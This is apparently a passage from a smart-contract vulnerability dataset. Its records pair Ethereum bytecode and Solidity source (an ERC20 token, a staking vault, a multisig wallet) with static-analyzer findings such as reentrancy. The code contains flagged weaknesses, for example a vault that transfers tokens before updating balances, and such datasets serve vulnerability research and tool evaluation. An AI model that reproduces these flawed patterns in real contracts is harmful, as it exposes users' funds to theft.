09250925092565b6000806040838503121561297557600080fd5b6000612983858286016127dd565b92505060206129948582860161285b565b9150509250929050565b6000602082840312156129b057600080fd5b600082013567ffffffffffffffff8111156129ca57600080fd5b6129d684828501612807565b91505092915050565b6000602082840312156129f157600080fd5b60006129ff84828501612831565b91505092915050565b600060208284031215612a1a57600080fd5b6000612a2884828501612846565b91505092915050565b600060208284031215612a4357600080fd5b6000612a518482850161285b565b91505092915050565b600080600060608486031215612a6f57600080fd5b6000612a7d86828701612870565b9350506020612a8e86828701612870565b9250506040612a9f86828701612870565b9150509250925092565b6000612ab58383612ac1565b60208301905092915050565b612aca8161322c565b82525050565b612ad98161322c565b82525050565b6000612aea826130d2565b612af481856130f5565b9350612aff836130c2565b8060005b83811015612b30578151612b178882612aa9565b9750612b22836130e8565b925050600181019050612b03565b5085935050505092915050565b612b468161323e565b82525050565b612b5581613281565b82525050565b6000612b66826130dd565b612b708185613106565b9350612b80818560208601613293565b612b89816133cd565b840191505092915050565b6000612ba1602383613106565b9150612bac826133de565b604082019050919050565b6000612bc4601983613106565b9150612bcf8261342d565b602082019050919050565b6000612be7602a83613106565b9150612bf282613456565b604082019050919050565b6000612c0a602283613106565b9150612c15826134a5565b604082019050919050565b6000612c2d601b83613106565b9150612c38826134f4565b602082019050919050565b6000612c50602183613106565b9150612c5b8261351d565b604082019050919050565b6000612c73602083613106565b9150612c7e8261356c565b602082019050919050565b6000612c96602983613106565b9150612ca182613595565b604082019050919050565b6000612cb9602583613106565b9150612cc4826135e4565b604082019050919050565b6000612cdc601a83613106565b9150612ce782613633565b602082019050919050565b6000612cff602483613106565b9150612d0a8261365c565b604082019050919050565b6000612d22601783613106565b9150612d2d826136ab565b602082019050919050565b612d418161326a565b82525050565b612d5081613274565b82525050565b6000602082019050612d6b6000830184612ad0565b92915050565b6000604082019050612d866000830185612ad0565b612d936020830184612ad0565b9392505050565b6000604082019050612daf6000830185612ad0565b612dbc6020830184612d38565b9392505050565b600060c082019050612dd86000830189612ad0565b612de56020830188612d38565b612df26040830187612b4c565b612dff6060830186612b4c565b612e0c6080830185612ad0565b612e1960a0830184612d38565b979650505050505050565b6000602082019050612e396000830184612b3d565b92915050565b60006020820190508181036000830152612e598184612b5b565b905092915050565b60006020820190508181036000830152612e7a81612b94565b9050919050565b60006020820190508181036000830152612e9a81612bb7565b9050919050565b60006020820190508181036000830152612eba81612bda565b9050919050565b60006020820190508181036000830152612eda81612bfd565b9050919050565b60006020820190508181036000830152612efa81612c20565b9050919050565b60006020820190508181036000830152612f1a81612c43565b9050919050565b60006020820190508181036000830152612f3a81612c66565b9050919050565b60006020820190508181036000830152612f5a81612c89565b9050919050565b60006020820190508181036000830152612f7a81612cac565b9050919050565b60006020820190508181036000830152612f9a81612ccf565b9050919050565b60006020820190508181036000830152612fba81612cf2565b9050919050565b60006020820190508181036000830152612fda81612d15565b9050919050565b6000602082019050612ff66000830184612d38565b92915050565b600060a0820190506130116000830188612d38565b61301e6020830187612b4c565b81810360408301526130308186612adf565b905061303f6060830185612ad0565b61304c6080830184612d38565b9695505050505050565b600060208201905061306b6000830184612d47565b92915050565b600061307b61308c565b905061308782826132c6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130b1576130b061339e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131228261326a565b915061312d8361326a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561316257613161613340565b5b828201905092915050565b60006131788261326a565b91506131838361326a565b9250826131935761319261336f565b5b828204905092915050565b60006131a98261326a565b91506131b48361326a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131ed576131ec613340565b5b828202905092915050565b60006132038261326a565b915061320e8361326a565b92508282101561322157613220613340565b5b828203905092915050565b60006132378261324a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061328c8261326a565b9050919050565b60005b838110156132b1578082015181840152602081019050613296565b838111156132c0576000848401525b50505050565b6132cf826133cd565b810181811067ffffffffffffffff821117156132ee576132ed61339e565b5b80604052505050565b60006133028261326a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333557613334613340565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136dd8161322c565b81146136e857600080fd5b50565b6136f48161323e565b81146136ff57600080fd5b50565b61370b8161326a565b811461371657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f9fcc1b4ab372f130a5bbc0061776ff96a6f2fa59e1a77ee9f6adda2f3a0d0264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,100 |
0x58b755e69987d1e6751d5bf2cc13c4237256fe72
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pPYLONETHVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0xBe9Ba93515e87C7Bd3A0CEbB9f61AAabE7A77Dd3);
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () {}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
token.safeTransferFrom(msg.sender, address(this), _amount);
totalDeposit = totalDeposit.add(_amount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(_amount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
depositBalances[addressIndices[i]] = depositBalances[addressIndices[i]].add(_rewards[_rewardCount].amount[addressIndices[i]]);
}
totalDeposit = totalDeposit.add(_amount);
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(depositBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = depositBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063a9fb763c1161008c578063de5f626811610066578063de5f6268146101f1578063e2aa2a85146101f9578063f6153ccd14610201578063fc0c546a14610209576100cf565b8063a9fb763c146101af578063b69ef8a8146101cc578063b6b55f25146101d4576100cf565b80631eb903cf146100d45780632e1a7d4d1461010c5780633df2c6d31461012b578063853828b6146101515780638f1e940514610159578063a7df8c5714610176575b600080fd5b6100fa600480360360208110156100ea57600080fd5b50356001600160a01b0316610211565b60408051918252519081900360200190f35b6101296004803603602081101561012257600080fd5b5035610223565b005b6100fa6004803603602081101561014157600080fd5b50356001600160a01b0316610359565b610129610435565b6100fa6004803603602081101561016f57600080fd5b5035610450565b6101936004803603602081101561018c57600080fd5b5035610465565b604080516001600160a01b039092168252519081900360200190f35b610129600480360360208110156101c557600080fd5b503561048c565b6100fa6106f0565b610129600480360360208110156101ea57600080fd5b503561076d565b6101296108a6565b6100fa610923565b6100fa610929565b61019361092f565b60026020526000908152604090205481565b60006005541161026d576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b600081116102b5576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b60006102c033610359565b9050808211156102ce578091505b6000546102e5906001600160a01b0316338461093e565b336000908152600260205260409020546102ff9083610995565b3360009081526002602052604090205560015461031c9083610995565b60015560408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b6001600160a01b038116600090815260026020526040812054600554600019015b6000818152600460205260409020600101546103999062093a806109e0565b42101561042e5761041961041262093a8061040c6103e3426103dd62093a80600460008a8152602001908152602001600020600101546109e090919063ffffffff16565b90610995565b60008681526004602090815260408083206001600160a01b038d16845290915290205490610a3a565b90610a93565b8390610995565b9150806104255761042e565b6000190161037a565b5092915050565b3360009081526002602052604090205461044e90610223565b565b60046020526000908152604090206001015481565b6003818154811061047257fe5b6000918252602090912001546001600160a01b0316905081565b600081116104d2576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060015411610529576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600054610541906001600160a01b0316333084610ad5565b60035460005b818110156106bb5761059560015461040c600260006003868154811061056957fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548690610a3a565b600554600090815260046020526040812060038054919291859081106105b757fe5b60009182526020808320909101546001600160a01b031683528281019390935260409182018120939093556005548352600490915281206003805461067d9391908590811061060257fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b0316815260200190815260200160002054600260006003858154811061065257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054906109e0565b600260006003848154811061068e57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610547565b506001546106c990836109e0565b60019081556005805460009081526004602052604090204290830155805490910190555050565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561073c57600080fd5b505afa158015610750573d6000803e3d6000fd5b505050506040513d602081101561076657600080fd5b5051905090565b600081116107b4576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6003546000805b8281101561080657336001600160a01b0316600382815481106107da57fe5b6000918252602090912001546001600160a01b031614156107fe5760019150610806565b6001016107bb565b508061084f57600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b031916331790555b600054610867906001600160a01b0316333086610ad5565b60015461087490846109e0565b6001553360009081526002602052604090205461089190846109e0565b33600090815260026020526040902055505050565b600054604080516370a0823160e01b8152336004820152905161044e926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156108f257600080fd5b505afa158015610906573d6000803e3d6000fd5b505050506040513d602081101561091c57600080fd5b505161076d565b60055481565b60015481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610990908490610b35565b505050565b60006109d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ced565b90505b92915050565b6000828201838110156109d7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610a49575060006109da565b82820282848281610a5657fe5b04146109d75760405162461bcd60e51b8152600401808060200182810382526021815260200180610e266021913960400191505060405180910390fd5b60006109d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d84565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610b2f908590610b35565b50505050565b610b47826001600160a01b0316610de9565b610b98576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610bd65780518252601f199092019160209182019101610bb7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610c38576040519150601f19603f3d011682016040523d82523d6000602084013e610c3d565b606091505b509150915081610c94576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610b2f57808060200190516020811015610cb057600080fd5b5051610b2f5760405162461bcd60e51b815260040180806020018281038252602a815260200180610e47602a913960400191505060405180910390fd5b60008184841115610d7c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d41578181015183820152602001610d29565b50505050905090810190601f168015610d6e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610dd35760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d41578181015183820152602001610d29565b506000838581610ddf57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610e1d5750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122091acb0f8076c1daea08b02e02a9967b8ef63cefaf8e8c78d633ff798f514733564736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,101 |
0x7b0d44d5b2ef3a8b168fafdcc321fab0d9d5d08c
|
/**
*Submitted for verification at Etherscan.io on 2021-03-04
*/
/**
*Submitted for verification at Etherscan.io on 2018-05-10
*/
pragma solidity ^0.4.4;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <[email protected]>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
